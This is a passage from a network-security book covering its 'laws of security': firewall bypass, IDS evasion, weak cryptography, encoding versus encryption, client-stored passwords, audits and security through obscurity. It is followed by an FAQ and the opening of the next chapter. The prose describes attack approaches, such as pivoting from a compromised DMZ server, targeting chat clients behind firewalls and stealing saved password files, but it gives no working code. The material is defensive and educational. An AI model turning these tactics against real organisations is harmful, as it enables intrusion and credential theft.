software that claim to do network filtering, filtering routers, and so on. Basically,
our concern is how do we get our information past a firewall?
It turns out that there is plenty of opportunity to get attacks past firewalls.
Ideally, firewalls would implement a security policy perfectly. In reality, someone
www.syngress.com
24 Chapter 2 • The Laws of Security
has to create the firewall, and humans are far from perfect. One of the major
problems with firewalls is that firewall administrators can’t very easily limit traffic
to exactly the type they would like. For example, the policy may state that Web
access (HTTP) is okay, but RealAudio use is not.The firewall admin should just
shut off the ports for RealAudio, right? Problem is, the folks who wrote
RealAudio are aware that this might happen, so they give the user the option to
pull down RealAudio files via HTTP. In fact, unless you configure it away, most
versions of RealAudio will go through several checks to see how they can access
RealAudio content from a Web site, and it will automatically select HTTP if it
needs to do so.The real problem here is that any protocol can be tunneled over
any other one, as long as timing is not critical (that is, if tunneling won’t make it
run too slowly). RealAudio does buffering to deal with the timing problem.
The designers of various Internet “toys” are keenly aware of which protocols
are typically allowed and which aren’t. Many programs are designed to use HTTP
as either a primary or backup transport to get information through.
There are probably many ways to attack a company with a firewall without
even touching the firewall.These include modems, diskettes, bribery, breaking and
entering, and so on. For the moment, we’ll focus on attacks that must traverse the
firewall.
Social Engineering
One of the first and most obvious ways to traverse a firewall is trickery. E-mail
has become a very popular mechanism for attempting to trick people into doing
stupid things; the “Melissa” and “I Love You” viruses are prime examples. Other
examples may include programs designed to exhibit malicious behavior when
they are run (Trojans) or legitimate programs that have been “infected” or
wrapped in some way (Trojans/viruses). As with most mass-mail campaigns, a low
response rate is enough to be successful.This could be especially damaging if it
were a custom program, so that the anti-virus programs would have no chance to
catch it. For information about what can be done with a virus or Trojan, see
Chapter 15.
Attacking Exposed Servers
Another way to get past firewalls is to attack exposed servers. Many firewalls
include a demilitarized zone (DMZ) where various Web servers, mail servers and
so on are placed.There is some debate as to whether a classic DMZ is a network
completely outside the firewall (and therefore not protected by the firewall) or
www.syngress.com
The Laws of Security • Chapter 2 25
whether it’s some in-between network. Currently in most cases,Web servers and
the like are on a third interface of the firewall that protects them from the outside,
allowing the inside not to trust them either and not to let them in.
The problem for firewall admins is that firewalls aren’t all that intelligent.
They can do filtering, they can require authentication, and they can do logging,
but they can’t really tell a good allowed request from a bad allowed request. For
example, I know of no firewall that can tell a legitimate request for a Web page
from an attack on a Common Gateway Interface (CGI) script. Sure, some firewalls
can be programmed to look for certain CGI scripts being attempted (phf,
for example), but if you’ve got a CGI script you want people to use, the firewall
isn’t going to able to tell those people apart from the attacker who has found a
hole in it. Much of the same goes for Simple Mail Transfer Protocol (SMTP), File
Transfer Protocol (FTP), and many other commonly offered services.They are all
attackable. (For information on how to attack services across a network, and for
further examples on how to attack things like CGI scripts, see Chapter 7.)
For the sake of discussion, let’s say that you’ve found a way into a server on
the DMZ.You’ve gained root or administrator access on that box.That doesn’t
get you inside, does it? Not directly, no. Recall that our definition of DMZ
included the concept that DMZ machines can’t get to the inside.Well, that’s usually
not strictly true.Very few organizations are willing to administer their servers
or add new content by going to the console of the machine. For an FTP server,
for example, would they be willing to let the world access the FTP ports, but not
themselves? For administration purposes, most traffic will be initiated from the
inside to the DMZ. Most firewalls have the ability to act as diodes, allowing
traffic to be initiated from one side but not from the other.That type of traffic
would be difficult but not impossible to exploit.The main problem is that you
have to wait for something to happen. If you catch an FTP transfer starting, or
the admin opening an X window back inside, you may have an opportunity.
More likely, you’ll want to look for allowed ports. Many sites include services
that require DMZ machines to be able to initiate contact back to the inside
machine.This includes mail (mail has to be delivered inside), database lookups
(for e-commerce Web sites, for example), and possibly reporting mechanisms
(perhaps syslog).Those are more helpful because you get to determine when the
attempt is made. Let’s look at a few cases:
Suppose you were able to successfully break into the DMZ mail server via
some hole in the mail server daemon. Chances are good that you’ll be able to
talk to an internal mail server from the DMZ mail server. Chances are also good
that the inside mail server is running the same mail daemon you just broke into,
www.syngress.com
26 Chapter 2 • The Laws of Security
or even something less well protected (after all, it’s an inside machine that isn’t
exposed to the Internet, right?)
Attacking the Firewall Directly
You may find in a few cases that the firewall itself can be compromised.This may
be true for both homegrown firewalls (which require a certain amount of expertise
on the part of the firewall admin) and commercial firewalls (which can sometimes
give a false sense of security, as they need a certain amount of expertise too,
but some people assume that’s not the case). In other cases, a consultant may have
done a good job of setting up the firewall, but now no one is left who knows
how to maintain it. New attacks get published all the time, and if people aren’t
paying attention to the sources that publish this stuff, they won’t know to apply
the patches.
The method used to attack a firewall is highly dependent on the exact type
of the firewall. Probably the best sources of information on firewall vulnerabilities
are the various security mailing lists. A particularly malicious attacker would do as
much research about a firewall to be attacked as possible, and then lie in wait for
some vulnerability to be posted.
NOTE
This law is utilized in Chapters 7, 11, 12, 13, 15, and 17.
Client-Side Holes
One of the best ways to get past firewalls is client-side holes. Aside from Web
browser vulnerabilities, other programs with likely holes include AOL Instant
Messenger, MSN Chat, ICQ, IRC clients, and even Telnet and ftp clients.
Exploiting these holes can require some research, patience, and a little luck.You’ll
have to find a user in the organization you want to attack that appears to be running
one of these programs, but many of the chat programs include a mechanism
for finding people, and it’s not uncommon for people to post their ICQ number
on their homepage.You could do a search for victim.com and ICQ.Then you
could wait until business hours when you presume the person will be at work,
and execute your exploit using the ICQ number. If it’s a serious hole, then you
now probably have code running behind the firewall that can do as you like.
www.syngress.com
The Laws of Security • Chapter 2 27
Any IDS Can Be Evaded
And you ask,“What the heck is an IDS?” IDS stands for intrusion detection system.
At the time of this writing, there are hundreds of vendors providing combined
hardware and software products for intrusion detection, either in combination
with firewall and virus protection products or as freestanding systems. IDSs have a
job that is slightly different from that of firewalls. Firewalls are designed to stop
bad traffic. IDSs are designed to spot bad traffic, but not necessarily to stop it
(though a number of IDSs will cooperate with a firewall to stop the traffic, too).
These IDSs can spot suspicious traffic through a number of mechanisms. One is to
match it against known bad patterns,much like the signature database of an antivirus
program. Another is to check for compliance against written standards and
flag deviations. Still another is to profile normal traffic and flag traffic that varies
from the statistical norm. Because they are constantly monitoring the network,
IDSs help to detect attacks and abnormal conditions both internally and externally
in the network, and provide another level of security from inside attack.
As with firewalls and client-side security methods, IDSs can be evaded and
worked around. One of the reasons that this is true is because we still have users
working hands-on on machines within our network, and as we saw with clientside
security, this makes the system vulnerable. Another cause in the case of firewalls
and IDS systems is that although they are relatively tight when first
installed, the maintenance and care of the systems deteriorates with time, and
vigilance declines.This leads to many misconfigured and improperly maintained
systems, which allows the evasion to occur.
The problem with IDSs for attackers is that they don’t know when one is
present. Unlike firewalls, which are fairly obvious when you hit them, IDSs can
be completely passive and therefore not directly detectable.They can spot suspicious
activity and alert the security admin for the site being attacked, unbeknownst
to the attacker.This may result in greater risk of prosecution for the
attacker. Consider getting an IDS. Free ones are starting to become available and
viable, allowing you to experiment with the various methods of detection that
are offered by the IDS developers. Make sure you audit your logs, because no
system will ever achieve the same level of insight as a well-informed person.
Make absolutely sure that you keep up-to-date on new patches and vulnerabilities.
Subscribe to the various mailing lists and read them. From the attack standpoint,
remember that the attacker can get the same information that you have.
This allows the attacker to find out what the various IDS systems detect and,
www.syngress.com
28 Chapter 2 • The Laws of Security
more importantly, how the detection occurs.Variations of the attack code can then
be created that are not detectable by the original IDS flags or settings.
In recent months, IDSs have been key in collecting information about new
attacks.This is problematic for attackers, because the more quickly their attack is
known and published, the less well it will work as it’s patched away. In effect, any
new research that an attacker has done will be valuable for a shorter period of
time. I believe that in a few years, an IDS system will be standard equipment for
every organization’s Internet connections, much as firewalls are now.
NOTE
This law is utilized in Chapter 16.
Secret Cryptographic
Algorithms Are Not Secure
This particular “law” is not, strictly speaking, a law. It’s theoretically possible that a
privately, secretly developed cryptographic algorithm could be secure. It turns out,
however, that it just doesn’t happen that way. It takes lots of public review and
lots of really good cryptographers trying to break an algorithm (and failing)
before it can begin to be considered secure.
Bruce Schneier has often stated that anyone can produce a cryptographic
algorithm without being able to break it. Programmers and writers know this as
well. Programmers cannot effectively beta-test their own software, just as writers
cannot effectively proofread their own writing. Put another way, to produce a
secure algorithm, a cryptographer must know all possible attacks and be able to
recognize when they apply to his or her algorithm.This includes currently
known attacks as well as those that may be made public in the future. Clearly no
cryptographer can predict the future, but some of them have the ability to produce
algorithms that are resistant to new things because they are able to anticipate
or guess some possible future attacks.
This has been demonstrated many times in the past. A cryptographer, or
someone who thinks he or she is one, produces a new algorithm. It looks fine to
this person, who can’t see any problem.The “cryptographer” may do one of several
things: use it privately, publish the details, or produce a commercial product.
www.syngress.com
The Laws of Security • Chapter 2 29
With very few exceptions, if it’s published, it gets broken, and often quickly.What
about the other two scenarios? If the algorithm isn’t secure when it’s published, it
isn’t secure at any time.What does that do to the author’s private security or to
the security of his customers?
Why do almost all new algorithms fail? One answer is that good crypto is
hard. Another is the lack of adequate review. For all the decent cryptographers
who can break someone else’s algorithm, there are many more people who
would like to try writing one. Crypto authors need lots of practice to learn to
write good crypto.This means they need to have their new algorithms broken
over and over again, so they can learn from the mistakes. If they can’t find people
to break their crypto, the process gets harder. Even worse, some authors may take
the fact that no one broke their algorithm (probably due to lack of time or
interest) to mean that it must be secure!
For an example of this future thinking, let’s look at DES. In 1990, Eli Biham
and Adi Shamir, two world-famous cryptographers, “discovered” what they called
differential cryptanalysis.This was some time after DES had been produced and
made standard. Naturally, they tried their new technique on DES.They were able
to make an improvement over a simple brute-force attack, but there was no devastating
reduction in the amount of time it took to crack DES. It turns out that
the structure of the s-boxes in DES was nearly ideal for defending against differential
cryptanalysis. It seems that someone who worked on the DES design knew
of, or had suspicions about, differential cryptanalysis.
Very few cryptographers are able to produce algorithms of this quality.They
are also the ones who usually are able to break the good algorithms. I’ve heard
that a few cryptographers advocate breaking other people’s algorithms as a way to
learn how to write good ones.These world-class cryptographers produce algorithms
that get broken, so they put their work out into the cryptographic world
for peer review. Even then, it often takes time for the algorithms to get the
proper review. Some new algorithms use innovative methods to perform their
work.Those types may require innovative attack techniques, which may take time
to develop. In addition, most of these cryptographers are in high demand and are
quite busy, so they don’t have time to review every algorithm that gets published.
In some cases, an algorithm would have to appear to be becoming popular in
order to justify the time spent looking at it. All of these steps take time—sometimes
years.Therefore, even the best cryptographers will sometimes recommend
that you not trust their own new algorithms until they’ve been around for a long
time. Even the world’s best cryptographers produce breakable crypto from time
to time.
www.syngress.com
30 Chapter 2 • The Laws of Security
The U.S. government has now decided to replace DES with a new standard
cryptographic algorithm.This new one is to be called Advanced Encryption
Standard (AES), and the NIST (National Institute of Standards and Technology)
has selected Rijndael as the proposed AES algorithm. Most of the world’s top
cryptographers submitted work for consideration during a several-day conference.
A few of the algorithms were broken during the conference by the other
cryptographers.
We can’t teach you how to break real crypto. Chances are, no single book
could.That’s okay, though.We’ve still got some crypto fun for you.There are lots
of people out there who think they are good cryptographers and are willing to
sell products based on that belief. In other cases, developers may realize that they
can’t use any real cryptography because of the lack of a separate key, so they may
opt for something simple to make it less obvious what they are doing. In those
cases, the crypto will be much easier to break. (We’ll show you how to do that in
Chapter 6.)
Again, the point of this law is not to perform an action based on it, but rather
to develop suspicion.You should use this law to evaluate the quality of a product
that contains crypto.The obvious solution here is to use well-established crypto
algorithms.This includes checking as much as possible that the algorithms are used
intelligently. For example, what good does 3DES do you if you’re using only a
seven-character password? Most passwords that people choose are only worth a
few bits of randomness per letter. Seven characters, then, is much less than 56 bits.
NOTE
This law is utilized in Chapter 6.
If a Key Is Not Required, You Do Not
Have Encryption—You Have Encoding
This one is universal—no exceptions. Just be certain that you know whether or
not there is a key and how well it’s managed. As Scott Culp mentions in his law
#7,“Encrypted data is only as secure as the decryption key.”
The key in encryption is used to provide variance when everyone is using
the same small set of algorithms. Creating good crypto algorithms is hard, which
www.syngress.com
The Laws of Security • Chapter 2 31
is why only a handful of them are used for many different things. New crypto
algorithms aren’t often needed, as the ones we have now can be used in a
number of different ways (message signing, block encrypting, and so on). If the
best-known (and foreseeable) attack on an algorithm is brute force, and brute
force will take sufficiently long, there is not much reason to change. New algorithms
should be suspect, as we mentioned previously.
In the early history of cryptography, most schemes depended on the communicating
parties using the same system to scramble their messages to each other.
There was usually no key or pass-phrase of any sort.The two parties would agree
on a scheme, such as moving each letter up the alphabet by three letters, and they
would send their messages.
Later, more complicated systems were put into use that depended on a word
or phrase to set the mechanism to begin with, and then the message would be
run through.This allowed for the system to be known about and used by multiple
parties, and they could still have some degree of security if they all used different
phrases.
These two types highlight the conceptual difference between what encoding
and encrypting are. Encoding uses no key, and if the parties involved want their
encoded communications to be secret, then their encoding scheme must be
secret. Encrypting uses a key (or keys) of some sort that both parties must know.
The algorithm can be known, but if an attacker doesn’t have the keys, that
shouldn’t help.
Of course, the problem is that encoding schemes can rarely be kept secret.
Everyone will get a copy of the algorithm. If there were no key, everyone who
had a copy of the program would be able to decrypt anything encrypted with it.
That wouldn’t bode well for mass-market crypto products. A key enables the
known good algorithms to be used in many places. So what do you do when
you’re faced with a product that says it uses Triple-DES encryption with no
remembering of passwords required? Run away! DES and variants (like 3DES)
depend on the secrecy of the key for their strength. If the key is known, the
secrets can obviously be decrypted.Where is the product getting a key to work
with if not from you? Off the hard drive, somewhere.
Is this better than if it just used a bad algorithm? This is probably slightly
better if the files are to leave the machine, perhaps across a network. If they are
intercepted there, they may still be safe. However, if the threat model includes
people who have access to the machine itself it’s pretty useless, since they can get
the key as well. Cryptographers have become very good at determining what
encoding scheme is being used and then decoding the messages. If you’re talking
www.syngress.com
32 Chapter 2 • The Laws of Security
about an encoding scheme that is embedded in some sort of mass-market
product, forget the possibility of keeping it secret. Attackers will have all the
opportunity they need to determine what the encoding scheme is.
If you run across a product that doesn’t appear to require the exchange of keys of
some sort and claims to have encrypted communications, think very hard about
what you have. Ask the vendor a lot of questions of about exactly how it works.
Think back to our earlier discussion about exchanging keys securely. If your
vendor glosses over the key exchange portion of a product, and can’t explain in
painstaking detail how exactly the key exchange problem was solved, then you
probably have an insecure product. In most cases, you should expect to have to
program keys manually on the various communication endpoints.
NOTE
This law is utilized in Chapters 6 and 10.
Passwords Cannot Be Securely Stored
on the Client Unless There Is Another
Password to Protect Them
This statement about passwords specifically refers to programs that store some form
of the password on the client machine in a client-server relationship. Remember
that the client is always under the complete control of the person sitting in front of
it.Therefore, there is generally no such thing as secure storage on client machines.
What usually differentiates a server is that the user/attacker is forced to interact
with it across a network, via what should be a limited interface.The one possible
exception to all client storage being attackable is if encryption is used.This law is
really a specific case of the previous one:“If a key isn’t required, then you don’t
have encryption—you have encoding.” Clearly, this applies to passwords just as it
would to any other sort of information. It’s mentioned as a separate case because
passwords are often of particular interest in security applications. Every time an
application asks you for a password, you should think to yourself,“How is it
stored?” Some programs don’t store the password after it’s been used because they
don’t need it any longer—at least not until next time. For example, many Telnet
and ftp clients don’t remember passwords at all; they just pass them straight to the
www.syngress.com
The Laws of Security • Chapter 2 33
server. Other programs will offer to “remember” passwords for you.They may give
you an icon to click on and not have to type the password.
How securely do these programs store your password? It turns out that in most
cases, they can’t store your password securely.As covered in the previous law, since
they have no key to encrypt with, all they can do is encode. It may be a very complicated
encoding, but it’s encoding nonetheless, because the program has to be able
to decode the password to use it. If the program can do it, so can someone else.
This one is also universal, though there can be apparent exceptions. For
example,Windows will offer to save dial-up passwords.You click the icon and it
logs into your ISP for you.Therefore, the password is encoded on the hard drive
somewhere and it’s fully decodable, right? Not necessarily.Microsoft has designed
the storage of this password around the Windows login. If you have such a saved
password, try clicking Cancel instead of typing your login password the next
time you boot Windows.You’ll find that your saved dial-up password isn’t available,
because Windows uses the login password to unlock the dial-up password.
All of this is stored in a .pwl file in your Windows directory.
Occasionally, for a variety of reasons, a software application will want to store
some amount of information on a client machine. For Web browsers, this
includes cookies and, sometimes, passwords. (The latest versions of Internet
Explorer will offer to remember your names and passwords.). For programs
intended to access servers with an authentication component, such as Telnet
clients and mail readers, this is often a password.What’s the purpose of storing
your password? So that you don’t have to type it every time.
Obviously, this feature isn’t really a good idea. If you’ve got an icon on your
machine that you can simply click to access a server, and it automatically supplies
your username and password, then anyone who walks up can do the same. Can
they do anything worse than this? As we’ll see, the answer is yes.
Let’s take the example of an e-mail client that is helpfully remembering your
password for you.You make the mistake of leaving me alone in your office for a
moment, with your computer.What can I do? Clearly, I can read your mail easily,
but I’ll want to arrange it so I can have permanent access to it, not just the one
chance. Since most mail passwords pass in the clear (and let’s assume that in this
case that’s true), if I had a packet capture program I could load onto your computer
quickly, or if I had my laptop ready to go, I could grab your password off
the wire.This is a bit more practical than the typical monitoring attack, since I
now have a way to make your computer send your password at will.
However, I may not have time for such elaborate preparations. I may only
have time to slip a diskette out of my shirt and copy a file. Perhaps I might send
www.syngress.com
34 Chapter 2 • The Laws of Security
the file across your network link instead, if I’m confident I won’t show up in a
log somewhere and be noticed. Of course, I’d have to have an idea what file(s) I
was after.This would require some preparation or research. I’d have to know what
mail program you typically use. But if I’m in your office, chances are good that I
would have had an opportunity to exchange mail with you at some point, and
every e-mail you send to me tells me in the message headers what e-mail program
you use.
What’s in this file I steal? Your stored password, of course. Some programs will
simply store the password in the clear, enabling me to read it directly.That sounds
bad, but as we’ll see, programs that do that are simply being honest. In this instance,
you should try to turn off any features that allow for local password storage if possible.
Try to encourage vendors not to put in these sorts of “features.”
Let’s assume for a moment that’s not the case. I look at the file and I don’t see
anything that looks like a password.What do I do? I get a copy of the same program,
use your file, and click Connect. Bingo, I’ve got (your) mail. If I’m still
curious, in addition to being able to get your mail I can now set up the packet
capture and find your password at my leisure.
It gets worse yet. For expediency’s sake, maybe there’s a reason I don’t want to
(or can’t) just hit Connect and watch the password fly by. Perhaps I can’t reach
your mail server at the moment, because it’s on a private network. And perhaps
you were using a protocol that doesn’t send the password in the clear after all.
Can I still do anything with your file I’ve stolen? Of course.
Consider this: without any assistance, your mail program knows how to
decode the password and send it (or some form of it). How does it do that?
Obviously it knows something you don’t, at least not yet. It either knows the
algorithm to reverse the encoding, which is the same for every copy of that program,
or it knows the secret key to decrypt the password, which must be stored
on your computer.
In either case, if I’ve been careful about stealing the right files, I’ve got what I
need to figure out your password without ever trying to use it. If it’s a simple
decode, I can figure out the algorithm by doing some experimentation and
trying to guess the algorithm, or I can disassemble the portion of the program
that does that and figure it out that way. It may take some time, but if I’m persistent,
I have everything I need to do so.Then I can share it with the world so
everyone else can do it easily.
If the program uses real encryption, it’s still not safe if I’ve stolen the right
file(s). Somewhere that program must have also stored the decryption key; if it
www.syngress.com
The Laws of Security • Chapter 2 35
didn’t it couldn’t decode your password, and clearly it can. I just have to make
sure I steal the decryption key as well.
Couldn’t the program require the legitimate user to remember the decryption
key? Sure, but then why store the client password in the first place? The point
was to keep the user from having to type in a password all the time.
NOTE
This law is utilized in Chapter 6.
In Order for a System to Begin to Be
Considered Secure, It Must Undergo
an Independent Security Audit
Writers know that they can’t proofread their own work. Programmers ought to
know that they can’t bug-test their own programs. Most software companies
www.syngress.com
Vigilance is Required Always!
Much discussion has been raised recently about the number of attacks
that occur and the rapid deployment and proliferation of malicious
codes and attacks. Fortunately, most of the attacks are developed to
attack vulnerabilities in operating system and application code that have
been known for some time. As we saw this year, many of the Code Red
attacks and the variants that developed from them were attacking longknown
vulnerabilities in the targeted products. The sad thing (and this
should be embarrassing both professionally and personally) was the
obvious number of network administrators and technicians who had
failed to follow the availability of fixes for these systems and keep them
patched and up-to-date. No amount of teaching, and no amount of
technical reference materials (such as this book) can protect your systems
if you don’t stay vigilant and on top of the repairs and fixes that
are available.
Notes from the Underground…
36 Chapter 2 • The Laws of Security
realize this, and they employ software testers.These software testers look for bugs
in the programs that keep them from performing their stated functions.This is
called functional testing.
Functional testing is vastly different from security testing, although on the
surface, they sound similar.They’re both looking for bugs, right? Yes and no.
Security testing (which ought to be a large superset of functionality testing)
requires much more in-depth analysis of a program, usually including an examination
of the source code. Functionality testing is done to ensure that a large percentage
of the users will be able to use the product without complaining.
Defending against the average user accidentally stumbling across a problem is
much easier than trying to keep a knowledgeable hacker from breaking a program
any way he can.
Even without fully discussing what a security audit is, it should be becoming
obvious why it’s needed. How many commercial products undergo a security
review? Almost none. Usually the only ones that have even a cursory security
review are security products. Even then, it often becomes apparent later on that
they didn’t get a proper review.
Notice that this law contains the word “begin.” A security audit is only one
step in the process of producing secure systems.You only have to read the
archives of any vulnerability reporting list to realize that software packages are full
of holes. Not only that, but we see the same mistakes made over and over again
by various software vendors. Clearly, those represent a category in which not
even the most minimal amount of auditing was done.
Probably one of the most interesting examples of how auditing has produced
a more secure software package is OpenBSD.Originally a branch-off from the
NetBSD project, OpenBSD decided to emphasize security as its focus.The
OpenBSD team spent a couple of years auditing the source code for bugs and
fixing them.They fixed any bugs they found, whether they appeared to be security
related or not.When they found a common bug, they would go back and
search all the source code to see whether that type of error had been made anywhere
else.
The end result is that OpenBSD is widely considered one of the most secure
operating systems there is. Frequently, when a new bug is found in NetBSD or
FreeBSD (another BSD variant), OpenBSD is found to be not vulnerable.
Sometimes the reason it’s not vulnerable is that the problem was fixed (by accident)
during the normal process of killing all bugs. In other cases, it was recognized that
there was a hole, and it was fixed. In those cases, NetBSD and FreeBSD (if they
www.syngress.com
The Laws of Security • Chapter 2 37
have the same piece of code) were vulnerable because someone didn’t check the
OpenBSD database for new fixes (all the OpenBSD fixes are made public).
NOTE
This law is utilized in Chapters 4, 5, 8, and 9.
Security through
Obscurity Does Not Work
Basically,“security through obscurity” (known as STO) is the idea that something is
secure simply because it isn’t obvious, advertised, or interesting. A good example is a
new Web server. Suppose you’re in the process of making a new Web server available
to the Internet.You may think that because you haven’t registered a Domain
Name System (DNS) name yet, and because no links exist to the Web server, you
can put off securing the machine until you’re ready to go live.
The problem is, port scans have become a permanent fixture on the Internet.
Depending on your luck, it will probably be only a matter of days or even hours
before your Web server is discovered.Why are these port scans permitted to
occur? They aren’t illegal in most places, and most ISPs won’t do anything when
you report that you’re being portscanned.
What can happen if you get portscanned? The vast majority of systems and
software packages are insecure out of the box. In other words, if you attach a
system to the Internet, you can be broken into relatively easily unless you actively
take steps to make it more secure.Most attackers who are port scanning are
looking for particular vulnerabilities. If you happen to have the particular vulnerability
they are looking for, they have an exploit program that will compromise
your Web server in seconds. If you’re lucky, you’ll notice it. If not, you could continue
to “secure” the host, only to find out later that the attacker left a backdoor
that you couldn’t block, because you’d already been compromised.
Worse still, in the last year a number of worms have become permanent fixtures
on the Internet.These worms are constantly scanning for new victims, such
as a fresh, unsecured Web server. Even when the worms are in their quietest
period, any host on the Internet will get a couple of probes per day.When the
worms are busiest, every host on the Internet gets probes every few minutes,
www.syngress.com
38 Chapter 2 • The Laws of Security
which is about how long an unpatched Web server has to live. Never assume it’s
safe to leave a hole or to get sloppy simply because you think no one will find it.
The minute a new hole is discovered that reveals program code, for example,
you’re exposed. An attacker doesn’t have to do a lot of research ahead of time and
wait patiently.Often the holes in programs are publicized very quickly, and lead
to the vulnerability being attacked on vulnerable systems.
Let me clarify a few points about STO: Keeping things obscure isn’t necessarily
bad.You don’t want to give away any more information than you need to.
You can take advantage of obscurity; just don’t rely on it. Also, carefully consider
whether you might have a better server in the long run by making source code
available so that people can review it and make their own patches as needed. Be
prepared, though, to have a round or two of holes before it becomes secure.
How obscure is obscure enough? One problem with the concept of STO is
that there is no agreement about what constitutes obscurity and what can be
treated like a bona fide secret. For example, whether your password is a secret or
is simply “obscured” probably depends on how you handle it. If you’ve got it
written down on a piece of paper under your keyboard and you’re hoping no
one will find it, I’d call that STO. (By the way, that’s the first place I’d look. At
one company where I worked, we used steel cables with padlocks to lock computers
down to the desks. I’d often be called upon to move a computer, and the
user would have neglected to provide the key as requested. I’d check for the key
in this order: pencil holder, under the keyboard, top drawer. I had about a 50 percent
success rate for finding the key.)
It comes down to a judgment call. My personal philosophy is that all security
is STO. It doesn’t matter whether you’re talking about a house key under the mat
or a 128-bit crypto key.The question is, does the attacker know what he needs,
or can he discover it? One of the reasons you should be reading this book is to
learn exactly what can be discovered. Many systems and sites have long survived
in obscurity, reinforcing their belief that there is no reason to target them.We’ll
have to see whether it’s simply a matter of time before they are compromised.
NOTE
This law is utilized in Chapters 4 and 5.
www.syngress.com
The Laws of Security • Chapter 2 39
Summary
In this chapter, we have tried to provide you with an initial look at the basic laws
of security that we work with on a regular basis.As we progress through the
book, we’ll expand on the discussion of the laws that we have begun here.We’ve
looked at a number of different topic areas to introduce our concepts and our list
of the laws of security.These have included initial glances at some concepts that
may be new to you, and that should inspire a fresh look at some of the areas of
vulnerability as we begin to protect our networks.We’ve looked at physical control
issues, encryption and the exchange of encryption keys.We’ve also begun to
look at firewalls, virus detection programs, and intrusion detection systems (IDSs),
as well as modification of code to bypass firewalls, viruses, and IDSs, cryptography,
auditing, and security through obscurity. As you have seen, not all of the
laws are absolutes, but rather an area of work that we use to try to define the
needs for security, the vulnerabilities, and security problems that should be
observed and repaired as we can. All of these areas are in need of constant evaluation
and work as we continue to try to secure our systems against attack.
Solutions Fast Track
Knowing the Laws of Security
Review the laws.
Use the laws to make your system more secure.
Client-Side Security Doesn’t Work
Client-side security is security enforced solely on the client.
The user always has the opportunity to break the security, because he or
she is in control of the machine.
Client-side security will not provide security if time and resources are
available to the attacker.
www.syngress.com
40 Chapter 2 • The Laws of Security
You Cannot Securely Exchange Encryption
Keys without a Shared Piece of Information
Shared information is used to validate machines prior to session
creation.
You can exchange shared private keys or use Secure Sockets Layer (SSL)
through your browser.
Key exchanges are vulnerable to man-in-the-middle (MITM) attacks.
Malicious Code Cannot Be
100 Percent Protected against
Software products are not perfect.
Virus and Trojan detection software relies on signature files.
Minor changes in the code signature can produce a non-detectable
variation (until the next signature file is released).
Any Malicious Code Can Be Completely
Morphed to Bypass Signature Detection
Attackers can change the identity or signature of a file quickly.
Attackers can use compression, encryption, and passwords to change the
look of code.
You can’t protect against every possible modification.
Firewalls Cannot Protect You 100 Percent from Attack
Firewalls can be software or hardware, or both.
The primary function of a firewall is to filter incoming and outgoing
packets.
Successful attacks are possible as a result of improper rules, policies, and
maintenance problems.
www.syngress.com
The Laws of Security • Chapter 2 41
Any IDS Can Be Evaded
Intrusion detection systems (IDSs) are often passive designs.
It is difficult for an attacker to detect the presence of IDS systems when
probing.
An IDS is subject to improper configuration and lack of maintenance.
These conditions may provide opportunity for attack.
Secret Cryptographic Algorithms Are Not Secure
Crypto is hard.
Most crypto doesn’t get reviewed and tested enough prior to launch.
Common algorithms are in use in multiple areas.They are difficult, but
not impossible, to attack.
If a Key Is Not Required,You Do Not
Have Encryption—You Have Encoding
This law is universal; there are no exceptions.
Encryption is used to protect the encoding. If no key is present, you
can’t encrypt.
Keys must be kept secret, or no security is present.
Passwords Cannot Be Securely Stored on the Client
Unless There Is Another Password to Protect Them
It is easy to detect password information stored on client machines.
If a password is unencrypted or unwrapped when it is stored, it is not
secure.
Password security on client machines requires a second mechanism to
provide security.
www.syngress.com
42 Chapter 2 • The Laws of Security
In Order for a System to Begin to Be
Considered Secure, It Must Undergo
an Independent Security Audit
Auditing is the start of a good security systems analysis.
Security systems are often not reviewed properly or completely, leading
to holes.
Outside checking is critical to defense; lack of it is an invitation to
attack.
Security through Obscurity Does Not Work
Hiding it doesn’t secure it.
Proactive protection is needed.
The use of obscurity alone invites compromise.
Q: How much effort should I spend trying to apply these laws to a particular
system that I’m interested in reviewing?
A: That depends on what your reason for review is. If you’re doing so for purposes
of determining how secure a system is so that you can feel comfortable
using it yourself, then you need to weigh your time against your threat
model. If you’re expecting to use the package, it’s directly reachable by the
Internet at large, and it’s widely available, you should probably spend a lot of
time checking it. If it will be used in some sort of back-end system, if it’s
custom designed, or if the system it’s on is protected in some other way, you
may want to spend more time elsewhere.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.
The Laws of Security • Chapter 2 43
Similarly, if you’re performing some sort of penetration test, you will have
to weigh your chances of success using one particular avenue of attack versus
another. It may be appropriate to visit each system that you can attack in
turn, and return to those that look more promising. Most attackers would
favor a system they could replicate in their own lab, returning to the actual
target later with a working exploit.
Q: How secure am I likely to be after reviewing a system myself?
A: This depends partially on how much effort you expend. In addition, you have
to assume that you didn’t find all the holes. However, if you spend a reasonable
amount of time, you’ve probably spotted the low-hanging fruit—the easy
holes.This puts you ahead of the game.The script kiddies will be looking for
the easy holes. Even if you become the target of a talented attacker, the
attacker may try the easy holes, so you should have some way of burglaralarming
them. Since you’re likely to find something when you look, and
you’ll probably publish your findings, everyone will know about the holes.
Keep in mind that you’re protected against the ones you know about, but not
against the ones you don’t know about. One way to help guard against this is
to alarm the known holes when you fix them.This can be more of a challenge
with closed-source software.
Q: When I find a hole, what should I do about it?
A: This is covered in depth in Chapter 18.There are choices to make about
whether to publish it at all, how much notice to give a vendor if applicable,
and whether to release exploit code if applicable.
Q: How do I go from being able to tell that a problem is there to being able to
exploit it?
A: Many of the chapters in this book cover specific types of holes. For holes that
aren’t covered here, the level of difficulty will vary widely. Some holes, such as
finding a hard-coded password in an application, are self-explanatory. Others
may require extensive use of decompiling and cryptanalysis. Even if you’re
very good, there will always be some technique that is out of your area of
expertise.You’ll have to decide whether you want to develop that skill or
get help.

[mic64]

Chapter 3 ¡E Classes of Attack
Introduction
How serious a particular attack type is depends on two things: how the attack is
carried out, and what damage is done to the compromised system. An attacker
being able to run code on his machine is probably the most serious kind of
attack for a home user. For an e-commerce company, a denial of service (DoS)
attack or information leakage may be of more immediate concern. Each vulnerability
that can lead to compromise can be traced to a particular category, or class,
of attack.The properties of each class give you a rough feel for how serious an
attack in that class is, as well as how hard it is to defend against.
In this chapter, we explain each of the attack classes in detail, including what
kinds of damage they can cause the victim, as well as what the attacker can gain
by using them.
Identifying and Understanding
the Classes of Attack
As we mentioned, attacks can be placed into one of a few categories. Our assertion
